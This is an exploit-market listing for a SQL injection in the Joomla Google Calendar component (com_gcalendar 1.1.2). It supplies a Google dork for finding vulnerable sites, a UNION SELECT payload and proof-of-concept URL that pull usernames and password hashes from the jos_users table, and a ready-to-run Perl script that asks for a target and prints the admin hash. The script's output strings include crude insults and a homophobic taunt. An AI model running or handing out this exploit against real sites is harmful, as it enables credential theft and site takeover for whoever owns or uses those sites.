[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Component com_gcalendar 1.1.2 (gcid) Remote SQL Injection

Author
Yogyacarderlink
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10020
Category
web applications
Date add
25-11-2009
Platform
unsorted
==============================================================================
Joomla Component com_gcalendar 1.1.2 (gcid) Remote SQL Injection Vulnerability
==============================================================================

Remote SQL Injection were identified in Google Calendar Joomla Component
 
Application:        Google Calendar Component
Versions Affected:  v1.1.2 old versions may also be affected
Download:       http://extensions.joomla.org/extensions/calendars-a-events/calendars/4188
License:        GPL
Vulnerable:         Remote SQL Injection
Google Dork:        inurl:"com_gcalendar"
 
 
Description
***********
 
Google Calendar is a component that will allow you to embed Google Calendars on your Joomla 1.5 site with ease!
You'll be amazed at the flexibility allowed and the degree of customization.
 
Details
*******
 
[!] SQL Injection
attacks are another instantiation of injection attack,
in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands
 
Exploit
*******
 
-9999+union+select+0,concat(username,0x3a,password),2,3,4+from+jos_users--
 
 
Proof of Concept
****************
 
http://server/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat(username,0x3a,password),2,3,4+from+jos_users--
 
-------------------------------------------------------------------------
#!/usr/bin/perl -w
 
#Joomla com_gcalendar (gcid) Sql injection
#Coded by v3n0m
#Gre4tz: All Yogyacarderlink Crew
#Special Gre4tz: Google
 
print "|----------------------------------------------------|\n";
print "|   YOGYACARDERLINK 'com_gcalendar Remote Injector'  |\n";
print "| Coded by : v3n0m                                   |\n";
print "| Greetz   : LeQhi (bug founder)                     |\n";
print "| sHoutz   : Yogyacarderlink Crew                    |\n";
print "|                                                    |\n";
print "|   -v3n0m & lingah paling ganteng se-jogjakarta-     |\n";
print "|                                                    |\n";
print "|                         www.yogyacarderlink.web.id |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nMasukin Target:[http://wwww.target.com/path/]: ";
chomp(my $target=<STDIN>);
#Nama Column
$kontol="group_concat(username,0x3a,password)";
#Nama Table
$memek="jos_users";
$ngentot="-9999+union+select+";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=".$ngentot."0,".$kontol.",2,3,4+from/**/".$memek."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "Sukses coy !! Wah selamat yee bro...\n";
print "Coba langsung dicheck ke TKP aja bro biar lebih yakin...\n";
print "\n";
print "Attention:\n";
print "v3n0m & lingah emang paling ganteng...\n";
print "Yang kaga setuju/protes = GAY !!\n";
print "\n";
}
else{print "\n[-] wah gagal bro (Belom Cebok tangan lo)...\n";
}
 
-------------------------------------------------------------------------



#  0day.today [2024-11-16]  #